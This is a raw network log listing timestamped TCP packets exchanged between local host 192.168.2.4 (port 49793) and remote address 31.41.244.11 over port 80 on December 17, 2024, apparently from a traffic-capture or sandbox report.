Dec 17, 2024 22:06:26.059166908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.059217930 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.059376001 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.059391022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.059420109 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.059444904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.060373068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.060422897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.060482025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.060520887 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.061388016 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.061436892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.062427998 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.062447071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.062463045 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.062477112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.062525034 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.063327074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.063376904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.187752962 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.187931061 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.187995911 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.188045979 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.188327074 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.188417912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.188482046 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.188534021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.189141989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.189157009 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.189213991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.189961910 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.190009117 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.190202951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.190249920 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.191051006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191107988 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.191181898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191229105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.191461086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191478968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191512108 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.191534996 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191540956 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.191555977 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191570997 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.191598892 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.191926003 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191948891 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.191987991 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.192014933 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.192668915 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.192725897 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.192765951 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.192819118 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.193512917 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.193562031 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.193758011 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.193799973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.194415092 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.194473028 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.194869041 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.194921970 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.195214033 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.195267916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.195416927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.195465088 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.196096897 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.196114063 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.196149111 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.196180105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.197065115 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.197140932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.197160006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.197201967 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.197747946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.197805882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.197931051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.197981119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.198766947 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.198820114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.198873043 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.198916912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.199434042 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.199487925 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.199942112 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.199994087 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.200407028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.200455904 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.200598955 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.200649023 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.201469898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.201488972 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.201518059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.201550007 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.201982021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.202029943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.202049971 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.202090025 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.202795982 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.202856064 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.202867031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.202908993 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.203670025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.203685999 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.203759909 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.204499960 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.204580069 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.204642057 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.204694033 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.205410957 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.205435991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.205486059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.205530882 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.206193924 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.206209898 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.206279039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.206995964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.207053900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.207072973 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.207123995 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.207870007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.207947016 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.208107948 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.208163977 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.208699942 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.208771944 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.208801031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.208847046 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.209548950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.209616899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.209645987 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.209691048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.210383892 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.210467100 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.210798025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.210863113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.211240053 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.211292028 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.211292982 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.211328030 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.212037086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.212106943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.212160110 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.212209940 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.212960005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.213036060 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.213195086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.213249922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.213745117 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.213809013 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.213881969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.213927984 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.214643002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.214709044 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.214915037 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.214967966 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.215523005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.215537071 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.215590000 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.216288090 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.216360092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.216542959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.216595888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.217139959 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.217197895 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.217782021 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.217839003 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.218028069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.218043089 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.218079090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.218864918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.218923092 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.218941927 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.219032049 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.219719887 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.219789982 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.219861031 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.219902992 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.220490932 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.220539093 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.220889091 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.220932961 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.221318007 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.221362114 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.221898079 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.221947908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.222192049 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.222239017 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.222532034 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.222573042 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.223261118 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.223275900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.223305941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.223345041 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.223932981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.223948002 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.223979950 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.224730968 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.224780083 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.224888086 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.224931955 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.225609064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.225661039 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.225960970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.226003885 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.226457119 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.226499081 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.226908922 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.226958036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.227243900 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.227284908 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.227411985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.227454901 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.228116989 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.228161097 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.228281975 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.228321075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.228982925 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.229031086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.229052067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.229091883 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.229840040 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.229888916 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.229892969 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.229927063 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.230942965 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.230997086 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.378607988 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.378681898 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.378751993 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.378804922 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.379020929 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.379075050 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.379151106 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.379201889 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.379908085 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.379973888 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.380002022 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.380057096 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.380691051 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.380743027 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.380950928 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.381001949 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.381069899 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.381117105 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.381747961 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.381797075 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.381839991 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.381890059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.382678986 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.382690907 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.382738113 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.383470058 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.383523941 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.383557081 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.383608103 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.384306908 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.384367943 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.384439945 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.384488106 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.385163069 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.385214090 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.385314941 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.385364056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.385973930 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.386029005 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.386084080 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.386131048 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.386852980 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.386864901 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.386919022 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.387690067 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.387749910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.387799025 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.387972116 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.388555050 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.388628006 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.388706923 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.388763905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.389373064 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.389442921 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.389506102 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.389555931 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.390208006 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.390280962 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.390321970 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.390374899 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.391011953 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.391062021 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.391192913 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.391246080 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.391947985 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.391959906 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.392003059 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.392038107 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.392822981 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.392878056 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.392889023 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.392940044 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.393569946 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.393620014 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.393667936 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.393719912 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.394409895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.394476891 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.394515038 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.394575119 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.395292044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.395342112 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.395415068 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.395462036 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.396100044 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.396142960 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.396200895 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.396240950 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.396994114 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.397037029 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.397048950 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.397085905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.397845984 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.397866964 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.397958040 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.398623943 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.398665905 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.398709059 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.398753881 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.399569035 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.399581909 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.399621010 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.400338888 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.400389910 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.400460005 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.400505066 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.401145935 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.401191950 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.401251078 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.401299953 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.402010918 CET	80	49793	31.41.244.11	192.168.2.4
Dec 17, 2024 22:06:26.402056932 CET	49793	80	192.168.2.4	31.41.244.11
Dec 17, 2024 22:06:26.402081966 CET	80	49793	31.41.244.11	192.168.2.4
